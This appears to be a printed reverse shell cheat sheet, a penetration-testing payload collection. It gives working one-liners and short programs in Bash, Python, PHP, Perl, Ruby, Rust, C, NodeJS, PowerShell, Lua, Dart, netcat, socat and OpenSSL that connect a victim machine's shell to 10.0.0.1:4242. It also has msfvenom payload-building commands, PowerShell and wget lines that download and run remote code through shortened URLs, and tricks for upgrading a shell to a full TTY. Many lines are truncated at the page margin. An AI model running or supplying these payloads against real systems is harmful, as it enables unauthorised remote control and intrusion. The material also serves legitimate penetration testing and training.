Reverse Shell Cheat Sheet 01/11/2023, 08:37
Reverse Shell Cheat Sheet
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Summary
Tools
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Reverse Shell Cheat Sheet 01/11/2023, 08:37
Reverse Shell
Awk
Automatic Reverse Shell Generator
Bash TCP
Bash UDP
C
Dart
Golang
Groovy Alternative 1
Groovy
Java Alternative 1
Java Alternative 2
Java
Lua
Ncat
Netcat OpenBsd
Netcat BusyBox
Netcat Traditional
NodeJS
OpenSSL
Perl
PHP
Powershell
Python
Ruby
Rust
Socat
Telnet
War
Meterpreter Shell
Windows Staged reverse TCP
Windows Stageless reverse TCP
Linux Staged reverse TCP
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Reverse Shell Cheat Sheet 01/11/2023, 08:37
Linux Stageless reverse TCP
Other platforms
Spawn TTY Shell
References
Tools
reverse-shell-generator - Hosted Reverse Shell generator (source)
revshellgen - CLI Reverse Shell generator
Reverse Shell
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Reverse Shell Cheat Sheet 01/11/2023, 08:37
Bash TCP
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
/bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1
Bash UDP
Victim:
sh -i >& /dev/udp/10.0.0.1/4242 0>&1
Listener:
nc -u -lvp 4242
Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
Socat
user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242
user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
user@victim$ wget -q https://tinyurl.com/yzcd3dg7 -O /tmp/socat; chmod +x /tmp/socat; /
Static socat binary can be found at https://github.com/andrew-d/static-binaries
Perl
perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STD
NOTE: Windows only
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~-
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Reverse Shell Cheat Sheet 01/11/2023, 08:37
Python
Linux only
IPv4
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import socket,os,pty;s=socket.sock
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.co
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREA
python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
IPv4 (No Spaces)
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=sock
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import_
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.soc
IPv4 (No Spaces, Shortened)
python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_I
python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(
python -c 'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOC
IPv4 (No Spaces, Shortened Further)
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python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.co
python -c 'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2;s=b(
python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("1
IPv6
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.c
IPv6 (No Spaces)
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=sock
IPv6 (No Spaces, Shortened)
python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_I
Windows only (Python2)
python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [
Windows only (Python3)
python.exe -c "import socket,os,threading,subprocess as sp;p=sp.Popen(['cmd.exe'],stdin
PHP
php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
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Reverse Shell Cheat Sheet 01/11/2023, 08:37
php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock,
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >
ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.0.0.1","4242");loop{c.gets.chomp!;(ex
NOTE: Windows only
ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"
Rust
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};
fn main() {
let s = TcpStream::connect("10.0.0.1:4242").unwrap();
let fd = s.as_raw_fd();
Command::new("/bin/sh")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn()
.unwrap()
.wait()
.unwrap();
}
Golang
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.0.0.
Netcat Traditional
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Reverse Shell Cheat Sheet 01/11/2023, 08:37
nc -e /bin/sh 10.0.0.1 4242
nc -e /bin/bash 10.0.0.1 4242
nc -c bash 10.0.0.1 4242
Netcat OpenBsd
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
Netcat BusyBox
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
Ncat
ncat 10.0.0.1 4242 -e /bin/bash
ncat --udp 10.0.0.1 4242 -e /bin/bash
OpenSSL
Attacker:
user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365
user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
or
user@attack$ ncat --ssl -vv -l -p 4242
user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect
TLS-PSK (does not rely on PKI or self-signed certificates)
# generate 384-bit PSK
# use the generated string as a value for the two PSK variables from below
openssl rand -hex 48
# server (attacker)
export LHOST="*"; export LPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; o
# client (victim)
export RHOST="10.0.0.1"; export RPORT="4242"; export PSK="replacewithgeneratedpskfromab
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Powershell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCP
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);
powershell IEX (New-Object Net.WebClient).DownloadString('https://tinyurl.com/yqj45pe4)
Awk
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |&
Java
Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read l
p.waitFor();
Java Alternative 1
String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket
Java Alternative 2
NOTE: This is more stealthy
Thread thread = new Thread(){
public void run(){
// Reverse shell here
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}
}
thread.start();
Telnet
In Attacker machine start two listeners:
nc -lvp 8080
nc -lvp 8081
In Victime machine run below command:
telnet <Your_IP> 8080 | /bin/sh | telnet <Your_IP> 8081
War
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war
strings reverse.war | grep jsp # in order to get the name of the file
Lua
Linux only
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.
Windows and Linux
lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local t
NodeJS
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4242, "10.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
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sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
or
require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')
or
-var x = global.process.mainModule.require
-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')
or
https://tinyurl.com/yp43nfwr
Groovy
by frohoff NOTE: Java reverse shell also work for Groovy
String host="10.0.0.1";
int port=4242;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket
Groovy Alternative 1
NOTE: This is more stealthy
Thread.start {
// Reverse shell here
}
C
Compile with gcc /tmp/shell.c --output csh && csh
#include <stdio.h>
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#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 4242;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.0.0.1");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
Dart
import 'dart:io';
import 'dart:convert';
main() {
Socket.connect("10.0.0.1", 4242).then((socket) {
socket.listen((data) {
Process.start('powershell.exe', []).then((Process process) {
process.stdin.writeln(new String.fromCharCodes(data).trim());
process.stdout
.transform(utf8.decoder)
.listen((output) { socket.write(output); });
});
},
onDone: () {
socket.destroy();
});
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});
}
Meterpreter Shell
Windows Staged reverse TCP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.
Windows Stageless reverse TCP
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
Linux Staged reverse TCP
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse
Linux Stageless reverse TCP
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf
Other platforms
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f elf > sh
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f exe > shel
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.ma
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f asp > shel
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war
$ msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f raw > shell.py
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.ph
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Spawn TTY Shell
In order to catch a shell, you need to listen on the desired port. rlwrap will enhance the shell,
allowing you to clear the screen with [CTRL] + [L] .
rlwrap nc 10.0.0.1 4242
rlwrap -r -f . nc 10.0.0.1 4242
-f . will make rlwrap use the current history file as a completion word list.
-r Put all words seen on in- and output on the completion list.
Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell.
:warning: OhMyZSH might break this trick, a simple sh is recommended
The main problem here is that zsh doesn't handle the stty command the same way bash or
sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands,
as soon as the prompt appear for you to execute the fg command, your -echo command
already lost its effect
ctrl+z
echo $TERM && tput lines && tput cols
# for bash
stty raw -echo
fg
# for zsh
stty raw -echo; fg
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>
or use socat binary to get a fully tty reverse shell
socat file:`tty`,raw,echo=0 tcp-listen:12345
Alternatively, rustcat binary can automatically inject the TTY shell command.
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The shell will be automatically upgraded and the TTY size will be provided for manual
adjustment. Not only that, upon exiting the shell, the terminal will be reset and thus usable.
stty raw -echo; stty size && rcat l -ie "/usr/bin/script -qc /bin/bash /dev/null" 6969
Spawn a TTY shell from an interpreter
/bin/sh -i
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c "__import__('pty').spawn('/bin/bash')"
python3 -c "__import__('subprocess').call(['/bin/bash'])"
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
perl -e 'print `/bin/bash`'
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
vi: :!bash
vi: :set shell=/bin/bash:shell
nmap: !sh
mysql: ! bash
Alternative TTY method
www-data@debian:/dev/shm$ su - user
su: must be run from a terminal
www-data@debian:/dev/shm$ /usr/bin/script -qc /bin/bash /dev/null
www-data@debian:/dev/shm$ su - user
Password: P4ssW0rD
user@debian:~$
Fully interactive reverse shell on Windows
The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way
Windows handles terminals.
ConPtyShell uses the function CreatePseudoConsole(). This function is available since
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Reverse Shell Cheat Sheet 01/11/2023, 08:37
Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).
Server Side:
stty raw -echo; (stty size; cat) | nc -lvnp 3001
Client Side:
IEX(IWR https://tinyurl.com/22og85jk -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 300
Offline version of the ps1 available at --> https://tinyurl.com/ytbxb4cu
References
Reverse Bash Shell One Liner
Pentest Monkey - Cheat Sheet Reverse shell
Spawning a TTY Shell
Obtaining a fully interactive shell
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